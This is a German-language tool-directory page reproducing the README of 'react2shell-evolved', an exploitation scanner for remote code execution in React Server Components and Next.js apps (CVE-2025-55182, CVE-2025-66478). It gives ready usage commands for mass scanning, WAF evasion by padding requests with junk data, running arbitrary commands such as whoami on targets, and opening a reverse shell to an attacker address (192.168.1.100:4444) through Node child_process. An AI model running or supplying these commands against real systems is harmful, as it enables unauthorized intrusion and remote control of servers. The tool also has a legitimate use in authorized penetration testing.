Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/guiimoraes/react2shell-evolved
SchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationWAF-UmgehungPenetrationstestsRed TeamingRemote-Access-Tool
GitHubguiimoraes/react2shell-evolved

react2shell-evolved

Eine weiterentwickelte Version des CVE-2025-55182-Scanners von assetnote.

Repository anzeigen
215vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

React2Shell Scanner

Hochpräzise Erkennung für RSC/Next.js-RCE

Scanner zur Erkennung von Remote-Code-Execution-Schwachstellen (RCE) in React-Server-Components- und Next.js-Anwendungen.

Über

Der React2Shell Scanner ist ein spezialisiertes Werkzeug zur Identifizierung von Schwachstellen für Remote-Code-Ausführung (RCE) in Anwendungen, die React Server Components (RSC) und Next.js verwenden. Das Tool erkennt Schwachstellen im Zusammenhang mit den folgenden CVEs:

  • CVE-2025-55182
  • CVE-2025-66478

Das Tool führt hochpräzise Überprüfungen mittels Side-Channel-Erkennung und RCE-Proof-of-Concept durch und kann dynamische Ergebnisse ausgeführter Befehle durch automatisches Parsen der HTTP-Antworten extrahieren.

Dies ist eine von @imguimoraes bearbeitete Version des ursprünglichen Scanners, der vom Assetnote Security Research Team entwickelt wurde. Der ursprüngliche RCE-PoC wurde von @maple3142 erstellt.

Funktionen

  • Hochpräzise Erkennung mittels Side-Channel und RCE-PoC
  • Multithread-Ausführung für Massenscans
  • Dynamische Extraktion der Ergebnisse ausgeführter Befehle (automatisches Parsen von Headern und Antwort-Body)
  • WAF-Bypass mit konfigurierbaren Zufallsdaten
  • Unterstützung für Windows (PowerShell) und Linux/Unix (Shell)
  • Strukturierte JSON-Ausgabe zur späteren Analyse
  • Automatisches Verfolgen von Weiterleitungen
  • Oberfläche mit Fortschrittsbalken und farbiger Ausgabe

Installation

Anforderungen

  • Python 3.8 oder höher
  • pip (Python-Paketmanager)

Installation der Abhängigkeiten

root@kitploit:~
pip install requests tqdm

Oder mithilfe der Datei requirements.txt:

root@kitploit:~
pip install -r requirements.txt

Verwendung

Grundsyntax

root@kitploit:~
python scanner.py [-u URL | -l FILE] [opções]

Einzelne URL überprüfen

root@kitploit:~
python scanner.py -u https://example.com

Mehrere URLs überprüfen

root@kitploit:~
python scanner.py -l hosts.txt

Befehlszeilenoptionen

Eingabeoptionen (eine davon erforderlich)

OpçãoBeschreibung
-u, --url URLEinzelne URL oder Host zur Überprüfung
-l, --list FILEDatei mit einer Hostliste (ein Host pro Zeile)

Ausführungsoptionen

OptionBeschreibung
-t, --threads NAnzahl gleichzeitiger Threads (Standard: 10)
--timeout SECONDSTimeout der Anfragen in Sekunden (Standard: 10)
-k, --insecureSSL-Zertifikatsprüfung deaktivieren (standardmäßig aktiviert)

Ausgabeoptionen

OptionBeschreibung
-o, --output FILEAusgabedatei für Ergebnisse im JSON-Format
--all-resultsAlle Ergebnisse in der Datei speichern, nicht nur verwundbare
-v, --verboseAusführliche Ausgabe (zeigt Antwort-Ausschnitte zur Analyse)
-q, --quietStiller Modus (zeigt nur verwundbare Hosts)
--no-colorFarbige Ausgabe deaktivieren

Header-Optionen

OptionBeschreibung
-H, --header "Key: Value"Benutzerdefinierten HTTP-Header hinzufügen (kann mehrfach verwendet werden)

Exploit-Optionen

OptionBeschreibung
--safe-checkSichere Side-Channel-Erkennung anstelle von RCE-PoC verwenden (führt keinen Code aus)
--windowsPowerShell-Payload anstelle von Unix-Shell verwenden (für Windows-Umgebungen)
--waf-bypassZufallsdaten zum Payload hinzufügen für WAF-Bypass (Standard: 128 KB)
--waf-bypass-size KBGröße der Zufallsdaten in KB für WAF-Bypass (Standard: 128)
--payload COMMANDBenutzerdefinierter Befehl zur Ausführung im RCE (Standard: echo $((41*271)))
--reverse-shell IP:PORTReverse-Shell-Verbindung zur angegebenen IP:PORT erstellen

Anwendungsbeispiele

Beispiel 1: Grundscan eines Hosts

root@kitploit:~
python scanner.py -u https://target.com

Beispiel 2: Massenscan mit mehreren Threads

root@kitploit:~
python scanner.py -l targets.txt -t 50 --timeout 15

Beispiel 3: Scan mit JSON-Ausgabe

root@kitploit:~
python scanner.py -l targets.txt -o results.json --all-results

Beispiel 4: Scan mit benutzerdefinierten Headern

root@kitploit:~
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

Beispiel 5: Scan mit benutzerdefiniertem Payload

root@kitploit:~
python scanner.py -u https://target.com --payload "whoami"

Beispiel 6: Scan mit WAF-Bypass

root@kitploit:~
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

Beispiel 7: Scan in einer Windows-Umgebung

root@kitploit:~
python scanner.py -u https://target.com --windows --payload "whoami"

Beispiel 8: Scan mit Safe Check (nicht-invasiv)

root@kitploit:~
python scanner.py -l targets.txt --safe-check

Beispiel 9: Vollständiger Scan mit ausführlicher Ausgabe

root@kitploit:~
python scanner.py -l targets.txt -v --all-results -o full_scan.json

Beispiel 10: Reverse Shell einrichten

root@kitploit:~
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

Ausgabeformat

Terminal-Ausgabe

Der Scanner zeigt Ergebnisse mit Farbcodes an, die den Status angeben:

  • [VULNERABLE] – Host verwundbar (rot)
  • [NOT VULNERABLE] – Host nicht verwundbar (grün)
  • [ERROR] – Fehler während der Überprüfung (gelb)

Bei verwundbaren Hosts wird das Ergebnis des ausgeführten Befehls angezeigt, sofern verfügbar, durch automatische Extraktion aus dem Header X-Action-Redirect oder dem Antwort-Body.

JSON-Format

Wenn die Option -o verwendet wird, wird die Ausgabe im JSON-Format mit der folgenden Struktur gespeichert:

root@kitploit:~
{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

Felder des Ergebnisses:

  • vulnerable: true, wenn verwundbar, false, wenn nicht verwundbar, null, wenn ein Fehler aufgetreten ist
  • command_result: Ergebnis des ausgeführten Befehls, extrahiert aus der Antwort (wenn verfügbar)
  • final_url: Endgültig getestete URL (nach dem Verfolgen von Weiterleitungen, sofern aktiviert)
  • status_code: HTTP-Statuscode der Antwort
  • request: Vollständige gesendete HTTP-Anfrage
  • response: Empfangene HTTP-Antwort (erste 2000 Zeichen)
  • error: Fehlermeldung, falls vorhanden
  • timestamp: UTC-Zeitstempel der Überprüfung

Technische Funktionen

Erkennungsmethoden

Der Scanner bietet zwei Erkennungsmethoden:

  1. Safe Check (--safe-check): Nicht-invasive Side-Channel-Erkennung, die Fehlermuster in der Antwort prüft, ohne Code auszuführen. Nützlich für einen ersten Scan ohne Auswirkungen.

  2. RCE-PoC: Tatsächliche Ausführung von Remote-Code mit dynamischer Extraktion der Ergebnisse. Verwendet Payloads auf Basis von Node.js child_process zur Ausführung von Systembefehlen.

Extraktion von Ergebnissen

Der Scanner parst automatisch die HTTP-Antworten, um Ergebnisse ausgeführter Befehle zu extrahieren:

  • Extraktion aus dem Header X-Action-Redirect (Format: NEXT_REDIRECT;push;/login?a=<result>;307;)
  • Extraktion aus dem Antwort-Body (Format: E{"digest":"<result>"} oder 1:E{"digest":"<result>"})
  • Funktioniert mit jedem benutzerdefinierten Befehl/Payload über den Parameter --payload

Die Extraktion erfolgt dynamisch und ist nicht von festen Werten abhängig, sodass die Ausführung jedes beliebigen Befehls validiert werden kann.

WAF-Bypass

Wenn die Option --waf-bypass verwendet wird:

  • Fügt dem Anfang des multipart/form-data-Payloads Zufallsdaten (Junk-Daten) hinzu
  • Konfigurierbare Größe über --waf-bypass-size (Standard: 128 KB)
  • Nützlich, um WAF-Filter zu umgehen, die den Inhalt des Request-Bodys prüfen
  • Der Timeout wird automatisch auf 20 Sekunden erhöht, wenn der WAF-Bypass aktiv ist

Benutzerdefinierte Payloads

Der Parameter --payload ermöglicht die Angabe eines beliebigen auszuführenden Befehls:

  • Standard: echo $((41*271)) (Ergebnis: 11111)
  • Windows: PowerShell-Befehle verwenden, wenn --windows aktiv ist
  • Linux/Unix: Standard-Shell-Befehle verwenden

Das Ergebnis des Befehls wird automatisch extrahiert und angezeigt, unabhängig vom zurückgegebenen Wert.

Reverse Shell

Die Option --reverse-shell ermöglicht das Herstellen einer Reverse-Shell-Verbindung:

  • Format: IP:PORT (Beispiel: 192.168.1.100:4444)
  • Verwendet die Node.js-Module net und child_process
  • Für Windows: startet powershell.exe
  • Für Linux/Unix: startet /bin/sh

Rechtliche und ethische Hinweise

Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt.

  • Verwenden Sie es nur auf Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben
  • Die unbefugte Nutzung dieses Tools ist illegal und kann strafrechtliche Konsequenzen haben
  • Die Entwickler übernehmen keinerlei Verantwortung für den Missbrauch dieses Tools
  • Holen Sie vor der Durchführung von Penetrationstests immer eine schriftliche Genehmigung ein
  • Beachten Sie die in Ihrer Rechtsordnung geltenden Gesetze und Vorschriften

Credits

Original-Exploit

Der ursprüngliche RCE-Exploit wurde von @maple3142 erstellt.

Original-Scanner

Der ursprüngliche Scanner wurde vom Assetnote Security Research Team entwickelt:

  • Repository: https://github.com/assetnote/react2shell-scanner/
  • Website: https://www.assetnote.io/

Diese Version

Diese bearbeitete Version behält die Funktionen des ursprünglichen Scanners bei und bietet zusätzliche Verbesserungen:

  • Dynamische Extraktion von Befehlsergebnissen (automatisches Parsen von Antworten)
  • Unterstützung für benutzerdefinierte Befehle mit Ergebnis-Extraktion
  • Entfernung des Vercel-Bypass (gepatcht am ??/??/2025)
  • Reverse-Shell-System (Crash-Friendly)

Bearbeitet von: guiimoraes

Verwandte CVEs

  • CVE-2025-55182
  • CVE-2025-66478

Wenn Sie Fehler finden oder Verbesserungsvorschläge haben, eröffnen Sie bitte ein Issue im Repository und beschreiben Sie das Problem detailliert.

Tool herunterladen